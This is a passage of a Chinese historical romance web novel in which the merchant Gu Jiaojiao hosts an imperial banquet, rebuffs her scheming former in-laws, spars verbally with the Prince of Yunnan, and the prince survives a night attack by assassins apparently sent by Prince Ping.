他身为王爷,所嫁之女到底也是他亲生,可那孙家却连喜宴都办不起,这让他的面子往哪放? “哼,顾姑娘怕是多虑了,若是安阳王府拿不出银两,也便不需要什么喜宴了。” 平王拂袖而去,孙协兆愤慨的瞪了顾皎皎一眼后,才忙不迭的追出去。 顾皎皎脸上的笑意渐渐散去,望着空荡荡的门口,眼底闪过一抹冷意。 啪,啪。 耳边响起拍掌的声音,沈云祉缓步上前,盯着这张娇美的脸,微微扬起嘴角。 “难得,终是见到顾姑娘硬气一回。” 他这话里有话,自是因为了解顾皎皎。 顾皎皎心思灵巧,却为人谨慎,自离开安阳王府,虽处处高调做事,却也是小心避开着各种锋芒,明哲保身。 今日,平王不过是痛快痛快嘴,她却有些忍不了了,也算是稀奇。 顾皎皎已经恢复了淡然的神色,微微欠身。 “小云南王言重了,我是真心实意的,奈何平王不愿与我这商户之女多有纠葛罢了。” 她的敷衍之词太过明显,沈云祉倒也不急着拆穿她。 正在此时,莺儿从门外跑了进来,看到沈云祉才缓了缓脚步,却欲言又止。 “无妨,说吧。” 顾皎皎猜测着也不是什么大事,便不打算瞒着沈云祉。 “是,姑娘,平王刚刚离开时留下了二百两白银,说是孙三……孙公子的酒钱,余下的是给第一楼的赏钱。” 莺儿说着之时,也偷偷注意着沈云祉的神色,生怕给自家姑娘惹什么麻烦。 顾皎皎只是笑了笑,便让莺儿先出去了。 “小云南王移驾隔壁房间吧,我让人上些酒菜。” 对于平王的举动,顾皎皎并不意外,到底是有着王爷的身份,怎会像孙家那般不知廉耻。 “顾姑娘可会相陪?” 沈云祉摇动了几下折扇,挑着眉,给人一种邪魅的感觉。 顾皎皎躲开他的目光,微低下头。 “小王爷难得来,我怎敢叨扰,何况,还有宴席之事未办妥,我还要去准备一番。” 她这是又一次婉拒了沈云祉。 沈云祉也不恼。 “罢了,本王也没什么心思用膳,这便回了。” 他大步离开,并未回头,顾皎皎这才松了一口气。 莺儿悄悄走进来。 “姑娘今日这是为了哪般?奴婢在外面听着可是吓坏了呢,若是那平王发怒,可不就是很严重的后果嘛。” 到现在为止,莺儿还心有余悸。 她眼中的姑娘一向是隐忍的,为了顾家的生意,也不愿与谁为敌,今日如此,明摆着就是打平王的脸。 “今日惹是忍了,明日这京城之中便是我与小云南王的谣言。” 顾皎皎目光坚定。 她这般不是为了给自己出气,而是不想连累沈云祉。 沈云祉霁月清白,能力出众,如今又是皇上面前的红人,前程似锦,若是因为她这身份而传出不好的传言,岂不是她的罪过? “姑娘是天下最好的姑娘,就算配当今皇……” 莺儿话还未说完,又被顾皎皎捂住了嘴巴…… 另一边。 沈云祉倚靠在马车上,微闭着双眼,唇边的笑意都很难压下去。 今日,他也算是见识到了顾皎皎以柔克刚的一面,让平王难堪的同时,更是让那桩亲事变得更为有趣。 柔和中透着锋芒,不会任人宰割,是好事。 “顾姑娘一向不爱惹是非,今日怎地主动招惹平王,平王怕是不会善罢甘休。” 双瑞在车旁,对今日之事满是不解。 沈云祉未睁开眼,唇角的笑容散去。 “她是不想跟本王有牵扯。” 这一点沈云祉很清楚,也正是因为清楚,才觉得朐口闷闷的。 双瑞透过马车上的小窗口看到沈云祉神色有异,便未敢再说什么。 顾皎皎依旧忙着。 三日的期限,本就仓促,这中间又出现各种种样的变故,让她觉得疲累不堪。 今日午后,沈云祉还命人给她送了一碗百合梨汤,不知是单纯的关切,还是在暗指她今日行事太过火大,给她提个醒。 顾皎皎心底里盘算着,却终究没有特意去问一下,她见识过沈云祉的狠辣与阴晴不定,像这样的人,还是离得远些才好。 夜已深,顾皎皎拖着疲惫的身子躺在榻上之时,已然觉得整个身子都似是散架一般,她乌黑的发间还戴着几样首饰,却也没有力气将它们摘下。 她现在只想好好的睡一觉。 “姑娘,姑娘,有个大喜事。” 莺儿的声音里都透着惊喜,从门外跑进来时,带进一股凉风。 顾皎皎顾不得这些,侧了侧身连眼睛都没有睁。 “莺儿,明日再说,我要睡觉。” “姑娘,我的好姑娘,你就听一下,我保证你听了一定高兴。” 莺儿伏在床榻边,轻轻摇晃着顾皎皎,不肯罢休。 顾皎皎无奈,只好抬了抬眼皮,“好好,你说,你说。” 她着实是累了,但只听到莺儿第一句话,便似是突然来了精神一般,猛然从床榻上坐起,如桃花般的双眸圆瞪。 “你说什么?再说一遍,孙协兆怎么了?” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百八十六章 并非此意 孙协兆跟随平王进了平王府,半个时辰后,就被人丢出了王府,原本就带着旧伤,再一次雪上加霜。 “听到的消息是,他是被人抬回的安阳候府,大夫入府时,他连话都说不出来了。” 莺儿说着这些时,满眼都是掩饰不住的喜悦。 “这平王当真是厉害。” 顾皎皎悠悠开口,细想来也不难猜,平王身份尊贵,近来本就在小云南王处落了下风,心里憋闷,偏偏遇上安阳王府这家人,自是不会忍气吞声。 与其说,今日是孙协兆让平王丢了脸,不如说是平王拿孙协兆来撒气。 “姑娘,你说这平王明明就是赞同了与那孙三的婚事,为何还如此不留情面?” 莺儿高兴之余也不由得发出疑问。 听到这话的顾皎皎却双眼放光,抬手轻点了下莺儿的额头。 “不错啊,知道思考了,大有长进。” “都是姑娘教的好。” 莺儿一脸得意。 顾皎皎笑着,才缓缓开口。 “平王这桩婚事本就不是心甘情愿的,也根本不将孙三放在眼里,这孙家人屡次让平王下不来台,又怎会还留什么情面?” 就如顾皎皎所说,平王带走孙协兆就是发泄心中的怒火的。 孙协兆进了平王府便被一棍子打倒,接着便是数不胜数的拳脚,从始至终平王都未看他一眼,甚至连让他说话的机会都没有给,就丢出了府外。 安阳候府。 “这平王竟如此霸道,竟将你伤的这般重,我明日定去找他们理论一番。” 孙老夫人看着床榻上的孙协兆,难免心疼。 此时的孙协兆已然缓过来不少,全身疼痛,却也是意识清楚。 “母亲莫要再生事端,今日之事还看不出来吗?若是再有什么风吹草动,别说迎娶青青,怕是小命都不保了。” 孙协兆的气息都有些弱,放在床榻上的手微微颤抖,分不清是因为疼痛,还是后怕。 今日,他也算是见识到了平王的狠绝,他自是要小心行事。 孙老夫人忍不住叹了口气,看向孙协兆的目光也显露出一抹责怪。 “要说这事还是怪你,你若早听我的,让那徐青青怀上我们孙家的骨肉,还能轮得到他平王耍威风?” 再次提到此事,孙协兆忍不住闭了闭眼。 “咳咳……母亲,那是平王府,我们终究要看一看自己的身份。” 这些年一直有顾皎皎支撑着安阳候府,吃穿不愁,奇珍异宝数不胜数,让孙家人都还保持着高傲的姿态。 就像孙老夫人,一味觉得即将迎娶平王府的郡主,更显肆无忌惮,就连平王也不放在眼里。 只是,今日这顿打倒是让孙协兆清醒了几分,平王可不是这般好糊弄,且出手不计后果,是他这种人无法招架的。 “协兆,我只是……” “母亲,我实在是疼,您也早些回去歇息吧。” 孙协兆不想再听这些,孙老夫人只好离开。 听到今日发生之事,孙老夫人最终还是将所有的过错推到了顾皎皎身上,暗暗发誓,定要让那个贱人付出代价。 三日之期已到。 第一楼奉皇命在城门处设宴,长长的宴席引来无数百姓,倒不只是因为吃食,更重要的是这是皇室的赏赐,百姓们前往也是为了图一个皇恩的好彩头。 顾皎皎自是忙碌不已,将手下都派了出去,以确保宴席一切顺利。 顾皎皎一大早便赶往城门处做准备,周围也自也围了不少的人,但有官府的官兵守着,不到开席之时,百姓们也是无法靠近的。 “我大约是来的晚了些。” 一道温和的声音从顾皎皎身后响起。 “杜大人?您怎么早就来了。” 顾皎皎转身之时,正撞上杜玉荣带着笑意的目光,不免有些惊讶。 她一直忙着,也未注意到杜玉荣是何时来的。 “皇上有心,不只与民同庆三日,官员也不必上朝,我左右也是闲着,便来看一看,不成想顾姑娘竟办的这般好。” 杜玉荣环顾四周,长长的席面一眼望不到头,在后方,有专门的厨娘们正在忙碌着,小斯们也有序的将餐食端上桌,人很多,却都各司其职,未见一丝慌乱。 “杜大人过奖了,这是第一楼第一次接有关皇室的宴席,我也只是尽力而为。” 顾皎皎答的谦虚,低眉浅笑间,面若桃花。 杜玉荣一时失神,目光也显得炙热不少。 “看来本王来的不是时候。” 二人顺着声音望去,沈云祉迈着四言步而来,一身月白色的衣衫,掺夹着银线绣出的图案在日光下泛着光芒。 如今的天气已经渐凉,但他手中的那把折扇微微晃动,竟毫无违和感。 “见过小王爷。” “见过小王爷。” 顾皎皎与杜玉荣几乎是同时开口。 沈云祉停下脚步,眸子里的光芒沉沉,只是抬了抬手,示意免礼。 “不成想小云南王也来了,我未做准备,还望小王爷恕罪。” 顾皎皎微微欠身,礼貌周到。 沈云祉拿着手中的扇子把玩,侧目间,有一抹异样的光芒闪过。 他刚刚站在远处,明明看到顾皎皎与杜玉荣交谈时神态自若,浅笑蔫然,给人一种轻松自在的感觉。 可在面对他小云南王时,便又是这般拘谨生疏的模样,只是这样,就足以让沈云祉不悦。 “顾姑娘也不是第一次见本王,如此说话,是因为本王是苛刻之人吗?” 这话从哪里说起? 顾皎皎觉得自己刚刚的话没有问题,至少表面上也算是好话吧?可这小云南王倒像是故意来找茬一般。 “小王爷何出此言?民女并非此意。” 顾皎皎未再看他的眼睛,低垂下眼眸,也显得自己诚恳一些,纵使心里不是这般想的。 “是吗?那倒是本王想多了。” 沈云祉这阴阳怪气的模样,倒也是常常见到。 杜玉荣将这些看在眼里,心里如明镜一般,他上前两步,房间打量了一下沈云祉的衣衫。 “王爷这套衣衫像是新做的,绣工精巧,怕不是出自宫里吧?” 杜玉荣扯开话题,也是为了替顾皎皎解围。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百八十七章 你别不识好歹 顾皎皎每次见到沈云祉都觉得此男子阴晴不定,她只得沉默,免得引火烧身。 “玉荣好眼力,皇上昨日赏的,为显天恩今日便穿上了。” 沈云祉丝毫不掩饰,眉眼瞟向顾皎皎时,眼中的冷意也少了几分。 “如此好的料子与做工,也就小云南王才能配穿。” 杜玉荣向来不是会恭维之人,此时为了帮顾皎皎,也算是难得一见了。 沈云祉大笑出声,伸出折扇指了指杜玉荣后,才笑着开口。 “玉荣啊,你哪里都好,除了不会说谎。” 沈云祉自是话中有话,却也不等杜玉荣再说什么,便继续说了下去。 “罢了,本王今日是来参观这宴席的,可有僻静之处?” 他这是在向顾皎皎询问。 顾皎皎立即上前,微微欠身。 “是,早已备下了,前方的茶楼正是第一楼的产业,整间茶楼都已空出,小云南王与杜大人可前往二楼的兰厅,正是好地方。” 她确实准备的妥当,从这宴席的开始到结束,事事周全,只一介女子,有如此心性,便是普通男儿也是不及的。 “顾姑娘当真是慧质兰心,思虑周全。” 杜玉荣忍不住开口称赞,投过来的目光满是柔情。 “杜大人过奖了,二位请。” 顾皎皎并未注意到,倒是沈云祉将杜玉荣的情绪都看在眼里。 “顾姑娘不一起吗?” 杜玉荣询问。 “二位先去,我在此处盯着,待一切准备妥当,我再去给二位送些吃食。” 顾皎皎扬了扬嘴角,答的得体。 沈云祉只是看了她一眼,便大步朝前走去,杜玉荣微微点头,也只好跟上。 “昨日小云南王还出手帮忙,今日就又这般,姑娘,你是做了什么对不起小云南王的事吗?” 莺儿一脸不解,歪着脑袋无不认真的询问着。 顾皎皎转头便翻了个的白眼。 “莺儿,你不说话没人把你当哑巴,什么叫我对不起小云南王?” 虽说她是知道莺儿的意思,却也觉得很是别扭。 “我这不是怕姑娘得罪了小云南王,姑娘以后的日子不好过吗?” 莺儿噘着嘴,委屈的很。 得罪? 顾皎皎也算是如履薄冰了,可依旧摸不透这沈云祉的性子。 “罢了,先不管这些,时间差不多了,你去吩咐他们抓紧时间。” 现在还是要以宴席为主。 “是,奴婢这就去办。” 临近午时时,宴席也算正式开始,这长长的桌上瞬间便坐满了人,不过倒都是有序进行,并未出现恐慌与动乱。 这倒是另顾皎皎有些意外,毕竟今日人员众多。 在她思索之时,余光瞟到不远处一个熟悉的身影,她犹豫之后,还是走了过去。 “双剑?真的是你。” 顾皎皎看清那人的脸,不禁意外出声。 又剑转头,双手抱拳。 “是,顾姑娘。” “你不是应该跟在小云南王身边吗?怎的会出现在此?” 此人和双瑞是沈云祉贴身之人,此时却出现在那些侍卫中间,顾皎皎自然意外。 “回姑娘,官府抽调出来的人到底少了一些,小王爷怕出什么岔子,便命属下带着王府里的人来帮忙。” 说着,双剑还瞟了一眼远处。 这时,顾皎皎才发现,不只是双剑,就连双瑞也在帮忙,指挥着一些侍卫看顾百姓,才得以让参加宴席的人都有序排队。 “有劳二位了。” 顾皎皎扯动了下嘴角,面露尴尬。 就在刚刚,她还以为是自己安排的妥当,才使这宴席顺利开席,却不想还是有小云南王在暗中帮忙。 “顾姑娘若是无其他事,属下去帮忙了。” 身为小云南王身边的人向来高傲,双剑更是一位长久冷面的主,但现在对顾皎皎如此客气,自然也是因为沈云祉。 顾皎皎微微点头,看着双剑离开,才抬头看向不远处的茶楼。 茶楼的二楼上,正有两个身影坐在那里,看不清他们的神情,却足以给人气度非凡的感觉。 “姑娘,你看。” 莺儿不知何时跑了过来,扯了扯顾皎皎的衣袖,指向人群。 顾皎皎顺着她手指的方向看过去,才看到了一众熟人。 孙老夫人带着她的两个儿媳从人群中穿过,直奔顾皎皎的方向而来。 “姑娘,今天是重要的日子,可容不得她们胡闹。” 莺儿是见识过孙家人的无耻的,自是担忧。 顾皎皎站在原地,看着那几人越来越近,却依旧面色沉稳。 “无妨。” 她冷静的甩出这两个字,眼睁睁的看着孙老夫人站在她面前。 “顾皎皎,你既是此次宴席的主办人,现在给我们安排个僻静的地方。” 孙老夫人一开口便是命令的口吻。 也难怪她需要僻静之处,毕竟来这里参加宴席的都是普通百姓,而孙家到底是候府,跟百姓们坐在一起,岂不是让人笑话? 这些人前来,怕是安阳候府缺少银钱,许久没有沾过荤腥了。 “孙老夫人何意?难不成是要参加这宴席?” 顾皎皎装出无比惊讶的模样,看似是询问,实则是嘲讽。 “顾皎皎,母亲今日可是特意来给你捧场的,你别不知好歹。” 刘氏是个急性子,立即开口维护她们那可怜的自尊。 章氏也适时开口。 “我们曾经到底是一家人,纵使有种种不愉快,也只是自家事,皎皎,母亲不计前嫌,你也要识趣也好。” 几人明明就是来蹭吃蹭喝的,却说的冠冕堂皇,让人听之恶心。 顾皎皎也不恼,微微点头。 “几位说的是,今日之宴席是皇上的恩典,说是普天同庆,自是任何人都可入席,几位请便便是。” 顾皎皎刻意回避了什么僻静处之说。 “顾皎皎,我们可是安阳候府的人,怎可与这些刁民同坐一处?” 刘氏高昂着头,也不知她的傲慢是从何处而来。 “此次宴席只有这长桌以贺,并无其他。” “那你现在便去安排啊,这许多人,抽调出几个人手安排出桌椅不就是了。” 刘氏理直气壮的模样,差点将顾皎皎逗笑。 此时,茶楼上的二人也将这一幕看在眼里。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百八十八章 怎不可当真 安阳候府人的无耻,杜玉荣是见识过的,只看着下方那张扬跋扈的几人,他便有些坐不住了。 “去哪儿?” 杜玉荣刚刚起身,就被沈云祉开口阻拦。 杜玉荣脚步顿了顿。 “孙家人一向厉害,怕是顾姑娘会吃亏。” “吃亏?她不让别人吃亏便是好的了。” 沈云祉淡然一笑,慵懒的倚靠在短榻之上,瞟向楼下,继续说了下去。 “她顾皎皎在这京城讨生活,岂是一般妇人可对付的,若是你出面,她又免不得招惹闲话,且看看再说。” 沈云祉说的也是事实,不想给顾皎皎带来不必要的麻烦,杜玉荣也只好坐了下来。 这城门口自是热闹之处,人声鼎沸,倒也少有人注意到顾皎皎等人。 孙老夫人微昂着头,如从前一般立在那里,似是不可动摇一般。 “顾皎皎,我知你已然攀上了高枝,可你到底也是从安阳候府出去的,人总要感恩,何况,我也不曾让你办什么难办之事。” 听着这话,顾皎皎胃里一种翻涌。 “孙老夫人说笑了,此次宴席乃是奉了皇命的,是以普天同庆之意,自是不曾备什么雅静之处,几位若是想用膳,便也只能与百姓同席。” 她不卑不亢,似是与眼前的几人只是陌生人一般。 “你胡说什么?我们若是坐在那里,还不成了全京城的笑话?” 刘氏向来口无遮拦,在迎来孙老夫人的怒瞪后,她才意识到自己说错了话,却为时已晚。 顾皎皎早就知道她们的意图,也不意外。。 “孙二夫人的顾虑也是人之常情,但我确实无能为力,总不能抗旨吧?” 抗旨二字说出,在场的人都不禁愣住,半晌,章氏才反应过来。 “你又何必出言唬吓,不过就是一顿宴席,又怎的与抗旨扯上关系了?” “孙大夫人也是见过世面之人,皇上下旨与民同贺,只让办这热闹的宴席,我若是私自给几位单独设宴,那不就是抗旨吗?” 顾皎皎停顿了一下,扫视几人,眼底闪过一抹鄙夷后,才接着说道。 “若是东窗事发,几位可愿与我一同接受盘问?” 孙家人岂敢担下这么大的罪名? 刘氏与章氏不敢再言语,都看向孙老夫人。 她们不过是想借今日这场面谋得一些好处,却不知怎的说着说着,便扯到了抗旨上。 孙老夫人心里一阵发慌,踌躇着要怎么解眼前的场面。 顾皎皎自是看出她们的心思,扯动了下嘴角。 “倒也不是完全没有办法。” 听到她这话,孙老夫人双眼放光。 “什么办法?” “不久后安阳候府便与平王府结为亲家,平王身份贵重,孙老夫人不如去跟平王知会一声,平王看在姻亲的份上去求皇上下旨,我必定会以第一楼最高礼仪招待,如何?” 顾皎皎言词恳切,似是真的为她们着想一般,可这样的主意,她们谁敢去接? 孙协兆才惹怒了平王,现在还无法下床走动,若是再平添麻烦,岂不是整个安阳候府都要遭殃? 孙老夫人闹了个没脸,只能带着两个儿媳灰溜溜的离开了。 顾皎皎目送她们离开,眼中的鄙夷尽显。 “这孙家人真是不知廉耻,一次次没完没了,姑娘实在不该跟她们客气。” 莺儿从后面走过来,气愤不已。 顾皎皎与安阳候府早就撕破了脸,自然谈不上客气不客气,今日平和相对,不过是因为不想这宴席出什么岔子。 “打发了便是,”顾皎皎转头看向莺儿,“都准备好了吗?” “是,姑娘,为小云南王和杜大人准备的餐食已经备好。” “你同我一起送过去吧。” 顾皎皎并未将孙家人放在眼里,也未让他们影响心情。 楼上的二人安安静静的看了一场热闹。 “孙家好事将近,却屡次找顾姑娘麻烦,若只是为了银钱,岂不得不偿失?” 杜玉荣已然觉出这孙家犹如狗皮膏药一般,实在惹人厌烦。 “今日之事,孙协兆怕是并不知情。” 阳光斜照进茶楼,也照着沈云祉好看的侧脸,手中的折扇挡去大半阳光,使他整个人半笼罩在阴影里,让人看不出他的情绪。 顾皎皎踏入兰厅,正看到沈云祉慵懒自在的模样,唇角勾勒出淡淡的弧度,顿时让她心跳一顿。 “顾姑娘来了。” 杜玉荣看向门口处,语气里少了刚刚的沉闷,透出几分喜悦。 顾皎皎收回目光,微微点头。 “忙了许久,怕是二位也饿了,莺儿。” 她朝着身后招了招手,莺儿带着几人便将一些餐食摆到桌上。 “来不及准备,都只是一些简单饭菜,还望二位莫要嫌弃才好。” 顾皎皎这是自谦了,第一楼出来的餐食,哪怕只是青粥小菜,也是会让人流连忘返的。 “本是想着来帮姑娘的忙,却不想倒是添了麻烦。” 杜玉荣面色温和,眼中的自责之情却无法掩饰。 “杜大人这般说便是太过客气了,二位本就是我的贵人,能来参详一番,已然是我的福气了。” 听着二人你来我往的言语,沈云祉不禁皱了皱眉。 “是了,顾姑娘能力出众,只安排你我二人餐食,有何难处?” 沈云祉这话似是带着怒气一般,不等二人说什么,他又抬眼看向顾皎皎。 “说来,顾姑娘也是好本事,前几日那孙三还要你做外室,今日又得玉荣心疼,定然是有福气的。” 他半眯着眼,唇边的笑意那般耀眼,似是玩笑一般的言语,让人听着觉得刺耳。 顾皎皎自是觉得今日的沈云祉是有病的,从见面起便阴阳怪气说了许多奇怪的话。 “小云南王真会说笑,本就都是一些无稽之谈,平王不也说过您偏袒于我吗?怎可当真?” “怎不可当真?” “他们不过是寻衅罢了,自然不能当真。” “若是本王当真呢?” “你……” 顾皎皎一时无言,抿着唇,半晌都未吐出一个字,只是不自觉的将一抹怨气放在眼中。 看着她这般,沈云祉大笑出声,一副觉得有趣的模样。 而这些落在杜玉荣的眼中,自是内心一阵酸楚。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百八十九章 怎会坐以待毙? 在与沈云祉的斗嘴中,顾皎皎从未占过上风。 “顾姑娘莫要介怀,小王爷只是见你疲累,开玩笑罢了,莫要放在心上。” 杜玉荣出身书香世家,举手投足以及言语间都让人觉得温和大气。 顾皎皎怎会不知杜玉荣只是缓解此时气氛。 “杜大人言重了,二位用膳便是,我便不打扰了。” 顾皎皎微微欠身,头也不回的走出了兰厅。 桌上的佳肴与之前的第一楼比不算丰盛,但哪怕是小到一块点心,都看上去无比精致,可见顾皎皎是用了心的。 只是,佳人离去,沈云祉看着这餐食,也没什么胃口。 顾皎皎走出兰厅,转身便进入了旁边的梅厅,坐在窗前。 莺儿给她端来了茶水,轻放在桌上。 “姑娘累了,在此处歇息一会儿吧。” 顾皎皎天不亮就起来忙碌着,此时确实全身疲累,她来此处,也正是要抽这个空当歇息一下。 她端起茶杯浅尝了一口,温度正好,便一口气将一整杯茶喝了下去。 “姑娘慢些,我再给你端来就是。” 莺儿立即上前将一块手帕放到了顾皎皎手中。 “这个沈云祉今日也不知是怎么了,阴阳怪气,处处挑衅。” 顾皎皎用茶水压了压胸口的闷气,终是忍不住抱怨。 莺儿又重新倒来一杯水。 “奴婢倒是觉得小云南王一向如此,也不稀奇。” 她只是一个婢女,与小云南王自是没有太过亲近,每次见到也都觉得这位王爷阴晴不定,怕人的紧。 顾皎皎长长的吁了一口气。 莺儿说的也是,沈云祉心思深沉,他情绪不定,还是不要太放在心上的好。 顾皎皎转头看向窗外。 从这二楼望下去,下面的街道之上依旧是人满为患,热闹非凡,只给人一种繁华盛世的景象。 日头正大,顾皎皎望着人群忍不住打了个哈欠。 “莺儿,准备下……” 顾皎皎的声音戛然而止。 “姑娘?准备什么?” 莺儿询问着时,也顺着顾皎皎的目光看向楼下。 那里依旧是百姓们参加宴席的场景,来来往往好不热闹,看了半天莺儿也没有看出什么。 “姑娘,怎么了?” “莺儿,你看那几个人,是不是有些奇怪?” 顾皎皎伸手向外指了指。 她所指那处,是宴席的一个角落,那里坐了几个男子,与周围的人一同用宴,偶尔抬眼交谈几句,看着正常。 “奴婢没觉出什么异样。” 那不就是普通的百姓吗? 若不是顾皎皎多看了几眼,也是真看不出什么异样,那些人都是百姓的打扮,但身材魁梧,举手投足看着不像是庄户人家,倒更像是习武之人。 “莺儿,你派人去查查那几人,偷偷的,莫要被人发觉。” 顾皎皎心里不安,还是吩咐下去。 兰厅。 桌上的餐食已经被撤了下去,只剩下二人品茶下棋。 “你今日心有旁骛,注定败局。” 沈云祉话音落下之时,一颗黑子也随之落在棋盘之上。 他抬起头,笑意满满,却并未见得意之色。 看着棋子落定,杜玉荣无奈的摇了摇头。 “又输了,小云南王棋艺精湛,在下本就不是对手。” 他避开了沈云祉的话题,所谓心不在焉,也不过是因为没有顾皎皎而已。 沈云祉心如明镜,也并未拆穿。 正在此时,双瑞从外面进来,直接走到沈云祉身边,耳语几句。 沈云祉嘴角微扬。 “不必打草惊蛇,只保宴席无恙,其他的静观其变。” 得到沈云祉的命令,双瑞未说什么,转身退了出去。 杜玉荣眉头皱起,温和的脸上也瞬间袭上了一抹凝重。 “莫不是平王?” 他压低声音。 沈云祉扯到了下嘴角。 此事倒也不难猜,平王近来屡屡受挫,本只是与沈云祉明争暗斗,可是皇上偏偏在病重之时召回了云南王。 平王心高气傲,自然不愿权柄下移,这个时候怎会坐以待毙? “平王如此胆大妄为,若是暗中行事,岂非酿成大祸,小王爷不便出面,不如由我向皇上递折子状告平王?” 杜玉荣提议。 沈云祉却摇了摇头。 “他平王也不是傻子,怎会留下把柄?何况,如今我们在明,他在暗,连他欲做什么都不清楚,无法状告。” 沈云祉刚得到的消息,也只是平王派出了人手,但想做什么,却并不了解。 “小王爷说的是,但这平王心思狠辣,此番怕是直奔小王爷而来,小王爷定要小心才是。” 京城之中,暗潮涌动,沈云祉在京城里并没有什么太大的根基,但平王却不同,盘踞多年,明里暗里的人手遍布京城。 沈云祉挑了挑眉。 “兵来将挡,水来土掩。” 这一日下来,宴席之热潮一直未退,来来往往的人数不胜数,直到夜幕降临,人群散去,只留下一片杂物,由第一楼来收拾。 哪怕只剩下收尾,顾皎皎也一直带着人收拾着,不敢松懈片刻。 “姑娘,打听到了。” 莺儿一边收拾着东西,一边低声汇报着。 “那些人确实不是京中之人,听闻他们是从外地而来的戏台班子,前日才到京城,听闻了宴席之事,今日便过来了,如今住在城中的一处客栈。” 为了确保万无一失,莺儿还让特意去客栈打听了一番,确实如此。 如此,顾皎皎也安心不少,看样子是自己多虑了。 “姑娘,小云南王和杜大人来了。” 莺儿小声提醒,顾皎皎立即站起身,转身看向那二人。 夜已深,周围点亮着火把,将那两个高大的身影拉的老长,见他们缓步而来,顾皎皎也心觉歉疚。 “是我疏忽了,忙着宴席之事,竟不知二位还未离开,望小王爷和杜大人恕罪。” 顾皎皎确实忘记了,想着这两个人在这里也会觉得无聊,大抵用不了多久就会离开,却不想竟一直等在这里。 “顾姑娘忙碌,我们自是不敢叨扰,何况我和小云南王下棋品茶,也难得像今日这般自在。” 杜玉荣的言语总会让人觉得心里安慰。 顾皎皎回以微笑,笑容里透着一丝感激。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百九十章 藏了什么坏心思 只是这短短的一段时间,就眼看着二人越来越熟络,沈云祉闷哼一声。 “收拾完了吗?” 沈云祉一开口便似是质问一般,不给人一点好脸色。 顾皎皎压下心中的怒火,维持着表面的镇静。 “是,已经差不多了,时候不早了,小云南王和杜大人先回去歇息吧。” 她倒不是赶人,只是一位是王爷,一位是豪门公子,待到这般晚终归是不好。 何况,这宴席连办三日,顾皎皎也还要准备些其他。 “是啊,今日顾姑娘也是累了,还有两日,怕是会更加疲惫。” 杜玉荣很是善解人意。 “多谢杜大人,好在今日一切顺利。” 只这一点,便已然让顾皎皎安心不少。 “现下夜已深,顾姑娘一人回去怕是不安全,不如我送一下姑娘,也稳妥些。” 杜玉荣倒是难得有这样的提议。 不知为何,顾皎皎不自觉的瞟了沈云祉一眼。 “不必了,不敢叨扰。” 她低声婉拒。 杜玉荣眼底闪过一抹失落,正欲说什么时,沈云祉却在此时开口。 “此时已然宵禁,虽说你是为了皇命忙碌这般晚,但若遇盘查终归是麻烦一些,玉荣身份在此,定是能帮你一二。” 沈云祉话音落下,对面的二人皆无不震惊的的看着他。 杜玉荣自也是心思细腻之人,几番下来怎会看不出沈云祉心思,以往也是左拦右挡他与顾皎皎接触,今日这是怎么了? 顾皎皎也一脸疑惑,这沈云祉莫不是又藏了什么坏心思? “本王乏了,告辞。” 沈云祉不知何时已然将折扇收起,双后背在身后,大步离去,不远处双剑双瑞也紧随其后。 月光如柱,洒在他走的街道之上,他那高傲挺拔的身影,竟给人一种清冷的感觉。 “顾姑娘,回吧。” 杜玉荣自然能注意到顾皎皎看着沈云祉的身影出神,便在一旁低声开口。 顾皎皎回过神,尴尬的扯了扯嘴角。 “那便有劳杜大人了。” 顾皎皎与杜玉荣同乘一辆马车,路途中聊着的都是宴席之事。 对于生意场上的事,顾皎皎侃侃而谈,双眼放光,每字每句皆透露着自信。 这样的她如阳光一般闪闪发光,让人移不开目光。 马车停下,杜玉荣才缓缓收回目光,他没有下车,看着顾皎皎走下马车,站在车下。 “多谢杜大人,回去时还望慢些。” 顾皎皎心存感激,也说的诚恳。 “顾姑娘也早些休息吧。” 说着,杜玉荣便将车帘放下,让人驾车离开,再晚一步,他怕他会想要留下。 待那马车没了踪影,顾皎皎才返回顾府。 这一边温和静谧,顾皎皎也因疲累早早的睡下,而另一边,街道之上却满是厮杀之声。 沈云祉站在人群之中,周围十数黑衣人直奔他而来,个个掩面,个个也是好身手。 双剑与双瑞挡去了部分刺客,却依旧有人不停的奔来。 沈云祉扯动嘴角,眼底满是不屑,腰间佩剑被抽出,在月光里泛着冷光。 是喊叫声,刀剑相撞之声,空气里也弥漫出了血腥味。 不知过了多长时间,街道之上多了六七具尸体,其余人落荒而逃。 沈云祉收剑之时,双剑与双瑞跑了过来,他们的长剑之上,皆是鲜红的血迹。 “王爷,您受伤了。” 双瑞惊呼出声。 沈云祉看向自己的手臂,衣衫已破,被鲜血染红,也是这时,他才感觉丝丝疼痛。 “无妨,皮外伤。” 他瞟了一眼地上的人,转身向驿站处走去。 “派人去报官,同时也暗中报皇上一声,不必张扬。” “是。” 双瑞与双剑齐声应道。 对于今晚的刺杀,他们主仆三人并不意外,身边未留其他人,自也是提前定好的。 “我明白了,小王爷今夜不去送顾姑娘,便是怕顾姑娘有危险。” 双瑞凑近双剑,将声音压得很低,说着时还偷瞄着向前面行走的沈云祉。 双剑瞪了他一眼,并未开口。 “双瑞,你最近是不是很闲?” 沈云祉悠悠的声音传来,“你若是无事做,今晚便帮本王打扫庭院吧。” “属下知错,望王爷开恩。” 双瑞立即认错,他可不要接下这差事,驿站虽不及王府宽敞,可也不小,若真是打扫,怕是这一夜无眠了。 沈云祉未回头,也未说什么,此事算是罢了。 自然,双瑞所说的便是事实。 白日里得到消息,有刺客伺机而动,沈云祉便知是冲他而来,晚间,他自是想送顾皎皎一程,只奈何怕刺客行动,连累了那女子。 沈云祉回到驿站后,也并未请郎中,他在外征战,这点小伤倒也不放在心上,只让双瑞拿来金创药,包扎一下便是。 “小王爷受伤了,不若明日便不去……” “去,这几日定要盯好宴席,你和双剑带的人都叮嘱妥当,若是有什么事,本王拿你们是问。” “是,属下遵命。” 双瑞的提议被沈云祉驳回。 双瑞昌他身边人,自然知道有人暗中派刺客只是小事,可是如今撞上顾皎皎主办宴席,沈云祉便将所有的人手都拨到宴席之事上。 而这些,沈云祉不许他们透露出半分,故而顾皎皎并不知情。 平王府。 整个王府安静的连一根针掉落都听得清,可就在夜深人静之时,一只杯子应声而碎,碎片散落在整个房间。 